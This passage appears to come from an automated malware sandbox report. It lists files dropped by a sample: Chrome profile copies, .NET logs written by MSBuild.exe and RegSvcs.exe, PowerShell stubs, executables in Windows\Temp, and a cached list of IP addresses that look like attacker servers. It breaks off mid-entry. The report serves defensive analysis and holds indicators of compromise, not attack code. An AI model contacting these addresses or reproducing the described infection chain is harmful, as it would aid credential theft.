SHA-512:	47D1A67A16F5DC6D50556C5296E65918F0A2FCAD0E8CEE5795B100FE8CD89EAF5E1FD67691E8A57AF3677883A5D8F104723B1901D11845B286474C8AC56F6182
Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\chrome_shutdown_ms.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:NWn:A
MD5:	36C64307FB26920B8E7B0F511BC84673
SHA1:	AD1CE0398E2CD452A5AC5F76CC261C24A26A6A64
SHA-256:	7196F6B0AF3825F0B5A56A41B78DB8F1AD20C6EB92570CD04040154406407FFD
SHA-512:	24271D886DF8F33EA25869CA624079D7DF185C70794572DD4CC47B5D4D17081F9FF5B552428EBC7D69D3FDF0AB9872F28EBD190776DF7B389AED026079AC24AA
Malicious:	false
Reputation:	unknown
Preview:	117.

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\en-US-9-0.bdic

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	451603
Entropy (8bit):	5.009711072558331
Encrypted:	false
SSDEEP:	12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ
MD5:	A78AD14E77147E7DE3647E61964C0335
SHA1:	CECC3DD41F4CEA0192B24300C71E1911BD4FCE45
SHA-256:	0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA
SHA-512:	DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321101
Malicious:	false
Reputation:	unknown
Preview:	BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GMDS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\persisted_first_party_sets.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	unknown
Preview:	{}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\123.exe.log

Download File

Process:	C:\Windows\Temp\123.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	5.360343058823451
Encrypted:	false
SSDEEP:	48:MxHKXwYHKhQnowHBtHoxHhAHKzvUHKdHKBqHK1HG1qHjHKs:iqXwYqhQnowhtIxHeqzsqdq4q1mwDqs
MD5:	03755F6E8958356F8A3228275EA608C0
SHA1:	D80DAA223FE45690C3F8C9FBDA4F6F9301BDD0A2
SHA-256:	35E0E3FE6462155C60516FCACC56815037D4B6F8069F5807BD9399E107272743
SHA-512:	FACC5DF256BD382710660EFE99AFEE78CFD3324B3E949D9C9AFCB4860C5CBB52F91E10089F9500C39D04E7B9A3A5434D6A6428FE9E1BFB4556036D753B4A85B4
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\86d45445dab86720724016051271f5f9\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1234.exe.log

Download File

Process:	C:\Windows\Temp\1234.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	5.360343058823451
Encrypted:	false
SSDEEP:	48:MxHKXwYHKhQnowHBtHoxHhAHKzvUHKdHKBqHK1HG1qHjHKs:iqXwYqhQnowhtIxHeqzsqdq4q1mwDqs
MD5:	03755F6E8958356F8A3228275EA608C0
SHA1:	D80DAA223FE45690C3F8C9FBDA4F6F9301BDD0A2
SHA-256:	35E0E3FE6462155C60516FCACC56815037D4B6F8069F5807BD9399E107272743
SHA-512:	FACC5DF256BD382710660EFE99AFEE78CFD3324B3E949D9C9AFCB4860C5CBB52F91E10089F9500C39D04E7B9A3A5434D6A6428FE9E1BFB4556036D753B4A85B4
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\86d45445dab86720724016051271f5f9\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\321.exe.log

Download File

Process:	C:\Windows\Temp\321.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	5.360343058823451
Encrypted:	false
SSDEEP:	48:MxHKXwYHKhQnowHBtHoxHhAHKzvUHKdHKBqHK1HG1qHjHKs:iqXwYqhQnowhtIxHeqzsqdq4q1mwDqs
MD5:	03755F6E8958356F8A3228275EA608C0
SHA1:	D80DAA223FE45690C3F8C9FBDA4F6F9301BDD0A2
SHA-256:	35E0E3FE6462155C60516FCACC56815037D4B6F8069F5807BD9399E107272743
SHA-512:	FACC5DF256BD382710660EFE99AFEE78CFD3324B3E949D9C9AFCB4860C5CBB52F91E10089F9500C39D04E7B9A3A5434D6A6428FE9E1BFB4556036D753B4A85B4
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\86d45445dab86720724016051271f5f9\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	841
Entropy (8bit):	5.356220854328477
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoIvEE4xDqE4j:MxHKXwYHKhQnoPtHoxHwvEHxDqHj
MD5:	486580834B084C92AE1F3866166C9C34
SHA1:	C8EB7E1CEF55A6C9EB931487E9AA4A2098AACEDF
SHA-256:	65C5B1213E371D449E2A239557A5F250FEA1D3473A1B5C4C5FF7492085F663FB
SHA-512:	2C54B638A52AA87F47CAB50859EFF98F07DA02993A596686B5617BA99E73ABFCD104F0F33209E24AFB32E66B4B8A225D4DB2CC79631540C21E7E8C4573DFD457
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..2,"Microsoft.Build.Framework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKdHKBtBHK7HK5AHKzvQTHmtHoxHImHKoLHG1f:iqXeqm00YqhQnouOqdqxq7q2qzcGtIxM
MD5:	028FA838F770C45979CE95EC9D6B2AA7
SHA1:	57F73A330EF329762478579168E156B8496A54FB
SHA-256:	64C5E485722F8DD2DFEF3A1D93F771CF16394B2F877F908440E89C698FC14AAD
SHA-512:	DB817C90A4F3C48D1123DED417AA8B175329902E80D8D782B042ECF361A6B786BE15E53CA19BC03D1007C42D97E72D1EA0F7B11EC5371C93F886CBA6F293C3EE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\aCZb2pjR[1].txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.522292189082414
Encrypted:	false
SSDEEP:	3:4UH5AzU4UFzLKpHptn:4UHXFnKpzn
MD5:	6573B54E5BB9C2A8556FC1814504C0D2
SHA1:	DBFA4F62DAC6A3FB7DF58055692BD2C58C6DFFAD
SHA-256:	553039BD9EB3A07B4CD73FD340EBC05C371DC400C2656ED1E0E0FC7784744B47
SHA-512:	8DEA571AEB32146B914DC082E061E5808B2F624BB6831F91E519DC83ADC709C27C041379D08DB51A9DD505FECEEB94FA19647E42464FF32EF5C850646A120954
Malicious:	false
Reputation:	unknown
Preview:	["185.159.130.81", "185.159.129.168", "127.0.0.3"]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\aCZb2pjR[1]

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:hn:h
MD5:	FDA44910DEB1A460BE4AC5D56D61D837
SHA1:	F6D0C643351580307B2EAA6A7560E76965496BC7
SHA-256:	933B971C6388D594A23FA1559825DB5BEC8ADE2DB1240AA8FC9D0C684949E8C9
SHA-512:	57DDA9AA7C29F960CD7948A4E4567844D3289FA729E9E388E7F4EDCBDF16BF6A94536598B4F9FF8942849F1F96BD3C00BC24A75E748A36FBF2A145F63BF904C1
Malicious:	false
Reputation:	unknown
Preview:	0....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\json[1].json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.48205457317469
Encrypted:	false
SSDEEP:	3:YWR4buWsyLBHm+aG9fQ8I5CMt6HUSF:YWybuiTaGWjje
MD5:	F8B864974F6015CBC0987159AF0E4E85
SHA1:	963BBF23739E5E0541D49EDECB55CC5E996C6F9A
SHA-256:	705C0B0266A53E13FA76D8CDF720DA22CD7568747A2FCB4DB30FE3C58E536B9A
SHA-512:	848884A1E038F2D9EDFAA8FFD6A2795C1FAF7D1BF527F10CC588C57F2D6E424018DBBF56DDBD6DFCB00D9EEBB2E7F143C867566BF71E49497493DB1E4FEB1AEB
Malicious:	false
Reputation:	unknown
Preview:	{"status":"success","countryCode":"CH","city":"Zurich","timezone":"Europe/Zurich","query":"84.17.52.2"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\434123433142[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	169
Entropy (8bit):	4.51833957423091
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLPfLRIwcWWGu:q43tISl6kXiMIWSU6XlI5LPtIpfGu
MD5:	84855C13836B389D5EC7CFD4C9266173
SHA1:	1CF3056FF23C4176FD7CA9816A000ED461D6D323
SHA-256:	502083C916AE481CDD413B8D93315300653DF5FB3DCC5770C01991DE19977EAE
SHA-512:	2479112004884D42D4FFE1174DC358C5D1B0FA2B41641D32F2FB67539C4F834D63CFBBF7E98C63B9A64E49B26390C410BB7E50F1AD4A755F32D081367AF05FCB
Malicious:	false
Reputation:	unknown
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.18.0</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\json[1].json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.48205457317469
Encrypted:	false
SSDEEP:	3:YWR4buWsyLBHm+aG9fQ8I5CMt6HUSF:YWybuiTaGWjje
MD5:	F8B864974F6015CBC0987159AF0E4E85
SHA1:	963BBF23739E5E0541D49EDECB55CC5E996C6F9A
SHA-256:	705C0B0266A53E13FA76D8CDF720DA22CD7568747A2FCB4DB30FE3C58E536B9A
SHA-512:	848884A1E038F2D9EDFAA8FFD6A2795C1FAF7D1BF527F10CC588C57F2D6E424018DBBF56DDBD6DFCB00D9EEBB2E7F143C867566BF71E49497493DB1E4FEB1AEB
Malicious:	false
Reputation:	unknown
Preview:	{"status":"success","countryCode":"CH","city":"Zurich","timezone":"Europe/Zurich","query":"84.17.52.2"}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.8968676994158
Encrypted:	false
SSDEEP:	96:WCJ2Woe5o2k6Lm5emmXIGvgyg12jDs+un/iQLEYFjDaeWJ6KGcmXx9smyFRLcU6f:5xoe5oVsm5emd0gkjDt4iWN3yBGHh9s6
MD5:	36DE9155D6C265A1DE62A448F3B5B66E
SHA1:	02D21946CBDD01860A0DE38D7EEC6CDE3A964FC3
SHA-256:	8BA38D55AA8F1E4F959E7223FDF653ABB9BE5B8B5DE9D116604E1ABB371C1C87
SHA-512:	C734ADE161FB89472B1DF9B9F062F4A53E7010D3FF99EDC0BD564540A56BC35743625C50A00635C31D165A74DCDBB330FFB878C5919D7B267F6F33D2AAB328E7
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	14440
Entropy (8bit):	5.560319810497046
Encrypted:	false
SSDEEP:	384:atpHXun0QpZL0sO5Sm8nFjulrIQoQIWYw:/fLT8r8FClrLufw
MD5:	8D7909485DC6EBA2BA4C8B4323F67B97
SHA1:	657B3561F21AEF6AAB51857CF97472DCCE8D1F4D
SHA-256:	A46335ADCBBFA8536E886719FC8E1D4F183D16D09D6082F0BEA9B595F0824DD1
SHA-512:	81E31350238AAE2311CF9130F04C4A814FDCE100503CA970E5865F80122B57FCD84C929C00674EB0270E7EE7C09DE53C1C225074BBB49866CC51FEA10A9BA2B6
Malicious:	false
Reputation:	unknown
Preview:	@...e...................e.G...........7...D..........@..........H...............<@.^.L."My...:)..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.............System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP...............-K..s.F..*.]`.,......(.Microsoft.PowerShell.Commands.ManagementD..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0s15k2hi.mbc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cexvmhe4.zbj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_crm0vew0.peq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j1qpfwb1.kai.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qn3tblt4.pso.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rao1fvr5.h0s.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vm5dkkmk.tx5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wdow4lfy.lyx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Windows\Temp\11.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	489984
Entropy (8bit):	7.162655854613126
Encrypted:	false
SSDEEP:	12288:9tI7MrlH9ly6JD11hmE0lC+pHHhNhU3vb:9u7Ably6BPKlDny
MD5:	61E723F8A677A1CA9B4C0B26338E880D
SHA1:	BDFBC9E4C22DE9D1BB00AD4D8F361ED94ABD6453
